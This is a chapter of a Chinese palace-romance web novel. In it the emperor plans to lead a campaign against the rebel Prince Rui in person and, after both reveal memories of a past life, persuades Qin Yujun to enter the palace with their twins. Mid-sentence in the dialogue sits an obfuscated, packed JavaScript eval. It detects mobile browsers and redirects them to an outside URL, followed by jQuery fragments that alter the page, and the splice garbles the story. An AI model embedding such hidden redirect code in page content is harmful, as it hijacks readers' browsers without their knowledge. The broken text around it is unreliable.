118.剖白

作品:《住手!那是朕的孩子

    魏邕离去后,裴玄度让丘于分别发了三封密信,又让谢祖亮进宫觐见。


    “什么!皇上您要御驾亲征!这,这不可啊,瑞王虽来势汹汹,可不止于此。”谢祖亮听了皇上的话,第一反应便是阻止,君子不立于危墙,何况是天子!


    裴玄度却早有决断,他不容反驳的道:“谢卿听我说,瑞王打的是“亲君侧”的名号,我如御驾亲征,他所谓的“亲君侧”就成了笑话,天下人谁还会相信他。”


    见谢祖亮开始思考,裴玄度继续道:“若是想尽早结束这一切,唯有朕和瑞王决一死战,而只有朕才能联合三路大军,共同向瑞王发起最后的进攻,这样战火才能早日停息,百姓才能早日重回太平。”


    “可是……”谢祖亮还是觉得皇上亲征是下下策。


    裴玄度不会再允许前世的事情发生,前世就是因为大臣犹豫阻拦,他在瑞王举兵后的第三年才亲征,已经延误了很多战机。


    这一世,要尽早结束战争,他不能给瑞王任何一点机会,一开始就应该重拳出击,况且,这一次,瑞王所依仗的,全都在他的掌控下,他有自信,这一次可以提前结束这场战争。


    因此他道:“谢大人不必再劝,真心意已决,况且,朕已经安排好,这一仗,必在两年内结束!”


    裴玄度走到谢祖亮面前,“谢卿,朕离开京城后,京城事宜就交由你和武安侯负责。”


    这一刻,看着年轻帝王不容置喙的果决眼神,谢祖亮终于明白,皇上为何会将贵妃和皇子公主藏在宫外,又为何会在这样的时候,将他们接回宫中。


    谢祖亮跪在地上,扣首,“皇上良苦用心,为江山社稷御驾亲征,思虑周全,臣,定不辱使命!盼皇上早日平定战乱,凯旋归来,还天下黎明长治久安!”


    裴玄度满意,谢祖亮不愧是懂他之人,很快就明白他此时将秦玉君母子三人接进宫的用意。


    只听谢祖亮问:“敢问贵妃何许人也?”


    “国子监丞秦合之女,武安侯义女,秦玉君。”


    谢祖亮心中有底,他道:“既然皇上已经有成算,老臣便不再多言,瑞王举兵谋反,这个关头,人心浮躁,皇上举办封妃大典,公布皇嗣的确有利稳定局势。”他很快调整了心态,跟上了帝王的思路。


    裴玄度满意一笑,“还有一事,朕要托付于你。”


    帝王负手而立,声音威严而庄重:“若朕出了事,我会将立贵妃之子为太子的圣旨,放在宣政殿牌匾后,到时,谢祖亮,我要你全力辅佐太子登上皇位,稳定局势,永远效忠我儿和贵妃!”


    谢祖亮本以为皇上御驾亲征已经够令人心惊,如今皇上这话里是托孤之意。


    谢祖亮心中又是对皇上如此信任他的感动,又是对皇上部署周密的钦佩。


    他跪下,“臣领旨!定不辱使命,一生效忠皇上,效忠殿下和贵妃!”


    瑞王谋反的消息一传来,皇上就宣布要封贵妃的消息,京城百姓,一边是战战兢兢,担心战火是否会波及京城。


    一边是觉得皇上了在这个档口居然要封妃,还宣布贵妃娘娘生下双胎,还是一个公主和一个皇子。


    又觉得这次的战事,想来皇上胸有成竹,否则怎么会在这个时候接贵妃入宫。


    而秦玉君得知的安排,更是坐立难安,上一世,皇上的确御驾亲征,可是没有那么早,而是在和瑞王正事开站后的三年。


    那时,朝廷大军节节败退,皇上为了鼓舞士气,决定御驾亲征。


    果然,御驾亲征后,朝廷扭转颓势,用了四年时间,一路将瑞王逼退到驰河。


    这一世,很多事情都变了,可是有些事情依然没变。


    而这个时候,皇上却要接他们入宫,还要封自己为贵妃,入宫,她从未想过!


    这日,裴玄度安排好一切,来到山间小院,封妃大典就在三日后,他是来送她道武安侯府准备入宫的。


    秦玉君好不容易等来裴玄度,她跪在他面前,“皇上,还请收回成命,我一个和离过的妇人,如何能进宫做娘娘,两个孩子他们……”


    裴玄度面色难看,她一直在拒绝他!


    “你起来。”裴玄度拉起了地上的秦玉君,“决定无法更改,两个孩子还小,难道你忍心将他们留在皇宫,万一出点意外,你这个当娘的忍心吗?”


    “可就算是这样,也不一定要封我为贵妃,我可以以其他身份入宫照顾孩子,等到孩子长大我再……”


    裴玄度气极,“难道,你要我们的孩子没有母亲,你要他们将自己亲身娘亲当做下人,还是要他们明明娘亲就在眼前,却不能光明正大的唤自己娘亲!”


    “我……”秦玉君无话可说,因为她就是这样想的。


    “秦玉君你休想离开,这辈子,从我们两个第一次牵扯开始,我们的命运个就已经分不开,何况你生下岁奴和安奴,那就更不可能远离朕,远离我们的孩子!”


    见秦玉君瘫倒在地,裴玄度终究不忍,半扶半抱的将她扶起来。


    “岁奴和安奴需要你,何况朕就要御驾亲征,若朕有个三长两短,这天下,就只有你能护着岁奴和安奴。”


    裴玄度知道他卑鄙,可是他无论如何不能放开他,卑鄙就卑鄙吧。


    “我要你陪着两个孩子替我看着他们,看着咱们的孩子,守着朕辛苦打下的江山。”


    裴玄度循循善诱,天下间有谁能够拒绝这无上的权势面前,也只有眼前的女子了,就是如此,他才更要将她留下,为了孩子,也是为了自己。


    裴玄度看向眼前的男子,上一世他虽然胜了,可也是惨胜,“皇上,您会平安无事的。”这一世,很多事情已经改变,她相信,眼前运筹帷幄的皇上,定不会再像上辈子一般了。


    可是万一呢,秦玉君突然为这个想法吓了一跳,如果眼前这个男人再也回不来了呢。


    她的心忽然不再平静,担忧的看向眼前的男人,“皇上,我可以答应你暂时入宫,可是你一定要回来!”


    尽管她一再逃避,可是她明白,她的内心,已经有了他的一席之地。


    裴玄度看着女子担心的眼神,“你对朕当真一点男女之情也无?”他用太久的眼神看着她,自问自答:“朕不信。”


    秦玉君躲开男子如夏日烈阳一般的目光,“皇上都什么时候了,您还说这些。”


    裴玄度握住女子的柔夷,“你放心,为了你和岁奴和安奴,我也不会轻易死,这两年,你就当帮朕看着他们,待朕回来再谢你如何?”


    秦玉君想要收回自己的手,可是男子的宽大的如他的态度一样,寸步不让。


    她放弃挣扎,反问:“皇上真不怕我是什么居心叵测之人,将我就这样接入皇宫。”


    “你是什么人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925519|166445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,朕早已了解,你放心,你的顾虑朕知晓,将来和皇宫有你和两个孩子便足够了。”


    秦玉君不敢相信自己听到了什么,“皇上您……”


    裴玄度牵着她的手,“朕曾经做了一个梦,梦中朕不知晓你生了岁奴和安奴,而你被瑞王和孙宿所害。


    咱们的安奴被瑞王蒙蔽,以为朕是他的杀父仇人,朕打败瑞王回宫后不到一个月就没了。


    朕死后,悬浮空中,看见安奴被蒙蔽,获取了朕梦中太子的信任,做了很多错事,最后他怀着无限仇恨,死在霁国将领的刀下。”


    “什,什么!这怎么可能。”忽然,秦玉君想到自己之前做的那个梦。


    梦中的男子一直在质问她,她抬头,看向眼前的皇帝,才恍然发现,梦中那男子长得和眼前人如此相像!


    原来皇上也知晓上辈子的事情!


    “皇上,实不相瞒,我也做过这样古怪的梦。”


    到了现在,裴玄度早不在乎,什么梦、什么前世,他只要今生!


    “既然如此,这不是更说明我们之间是命定的缘分,若是不想安奴再变成梦中的模样,我们都得守在岁奴、安奴身边。”


    “可……您是皇上,怎能守着我和岁奴和安奴呢。”


    “有何不可。”裴玄度不准眼前人再逃避,“现在你该知道朕的心意了吧,玉君,我们两个今生注定要在一起的。”


    秦玉君百感交集,那日她没听错,皇上说的是“上辈子”,这世上不止她一人有这样的奇遇。


    没想到皇上竟然也……简直匪夷所思。


    一旁床上的安奴,同样张着大大的嘴巴,原来娘亲和父皇都有前世的记忆!


    那么,那么,自己上辈子做的那些事,岂不是都被父皇知道了,一想到这个,安奴忍不住大哭起来。


    岁奴看了一眼自己的爱哭鬼弟弟,真不明白这小子怎么那么爱哭。


    好像揍他啊,她还想听自己父皇和娘亲继续说呢。


    听见安奴哭了,两人走到床边,看着哭泣的安奴,这个孩子怎么也看不出和皇上口中那个罪大恶极的宦官。


    她叹气,都是瑞王和孙宿的错叫他们骨肉分离!


    还利用了安奴,那她的岁奴呢,他们将她怎么了,皇上的梦中也不见岁奴!


    她抱起安奴,哄了起来,这一世,她不会再让自己的孩子,成为天下罪人。


    抱着安奴,秦玉君又看着乖巧的女儿,眼神逐渐鉴定,“皇上,你说得对,我要陪着岁奴和安奴。”


    “你同意入宫了?”


    秦玉君点头,岁奴笑出了和呵呵呵的声音。


    裴玄度心情大好,抱起同样心情好的岁奴,“朕的小公主开心吧,和你们娘亲一起进宫,咱们一家在不分离!”


    岁奴:“太好了,我又是幸福的小公主了,爹娘不离婚了,我果然两辈子都是荣华富贵的命,哈哈哈哈”


    眼睛水汪汪的安奴,“呜呜呜,父皇娘亲,再爱我一次!我再也不像上辈子那样了。”


    既然已经决定进宫,秦玉君便要搬到武安侯府等待三日后进宫。


    皇上曾经问她,是否想在秦家待嫁,秦玉君拒绝了,若不是父亲听信继母的话,她也不会嫁到孙家。


    如今,和父亲已再也没有什么话说,皇上既然安排她到武安侯府待嫁,况且自然有他的用意。